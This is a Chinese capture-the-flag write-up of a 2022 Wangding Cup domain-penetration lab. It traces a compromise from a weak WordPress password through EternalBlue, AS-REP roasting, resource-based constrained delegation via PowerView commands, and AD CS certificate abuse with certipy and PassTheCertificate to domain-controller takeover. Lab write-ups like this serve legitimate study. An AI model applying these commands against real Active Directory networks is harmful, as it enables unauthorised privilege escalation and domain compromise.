2022—网鼎杯半决赛域渗透一血

一篇鸽了好几年的文章,其实当时就写完了就是懒得发,好多人来问hhh。。。)

Original:

记得比赛时没人打完,卡在了一个点,赛后作者放了trick,打完了简单记录下。

入口是一个 WordPress:

admin/123456弱口令,后台getshell:

第一个flag:

iox打个隧道:

挂个代理,smb扫下内网:

好几个windwos,fscan扫下永恒之蓝:

有一台有永恒之蓝,msf挂下代理打下,记得payload设置成正向的:

第二个flag:

在172.22.15.24的web服务发现一个oa系统,admin/123456弱口令登录进行:

这里给了一堆名字很容易想到Kerberoasting与AS-REP Roasting,先给他做成个字典:

GetNPUsers.py 进行批量测试:

通过结果可以知道,只有lixiuying与huachunmei他俩开启了“不使用Kerberos预认证”,使用kali自带的工具与字典进行爆破:

利用得到的两个用户密码,简单跑下rdp:proxychains4 -q ./cme rdp 172.22.15.1/24 -u huachunmei -p 1qaz2wsx -d xiaorang.lab:

proxychains4 -q ./cme rdp 172.22.15.1/24 -u lixiuying -p winniethepooh -d xiaorang.lab:

分别远程登录,最后发现lixiuying对这台机器具有”GenericWrite任意写权限”:

使用基于资源的约束委派进行本地提权。利用Powermad.ps1,先创建一个test1机器用户 密码123456:

利用powerview查询创建的机器账户的sid:

利用powerView,设置委派 修改XR-0687的msds-allowedtoactonbehalfofotheridentity的值:

1
2
3
4
5
6
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer XR-0687| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Set-DomainObject XR-0687 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

查询是否修改成功:

1
Get-DomainComputer XR-0687 -Properties msds-allowedtoactonbehalfofotheridentity

使用getst.py生成票据:

导入票据,使用wmiexec:

提权成功,读取第三个flag:

通过之前fscan的结果可以知道,还差最后一个域控与一台证书服务器,结合一下这两个,很明显就可以想到CVE-2022-26963:

1
漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。现在很少有没有安装 AD CS 的大中型 Active Directory 环境,所以该漏洞危害和利用性都较强。该漏洞已作为Microsoft 20225 月安全更新的一部分进行了修补。

先在XR-0687上执行下面内容,将之前创建的机器账户test1的dnshostname设为xr-dc01.xiaorang.lab:

我们以计算机账户test1$的身份申请Machine模版证书,test1$的dnshostname属性值将嵌入证书中作为主题备用名称,由于test1$的dnshostname属性值被改为了xr-dc01.xiaorang.lab,因此将为我们颁发域控制器的证书:

接着我们通过颁发的证书对KDC进行PKINT kerberosr身份验证,并获取域控制器的TGT票据:

1
proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug

在执行上面的命令时,报了KDC_ERR_PADATA_TYPE_NOSUPP 错误,显示 KDC 不支持 PADATA 类型,详细内容:https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/

直接用文章里的方法:

将cert.pfx上传到XR-0687这台机器上。使用PassTheCertificate.exe:

1
.\PassTheCertificate.exe -CertPath .\cert.pfx -CertPassword 123456 -MachineAccount test1$ -MachinePassword 123456 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"

获取票据:

导入票据&&横向:

最后一个flag: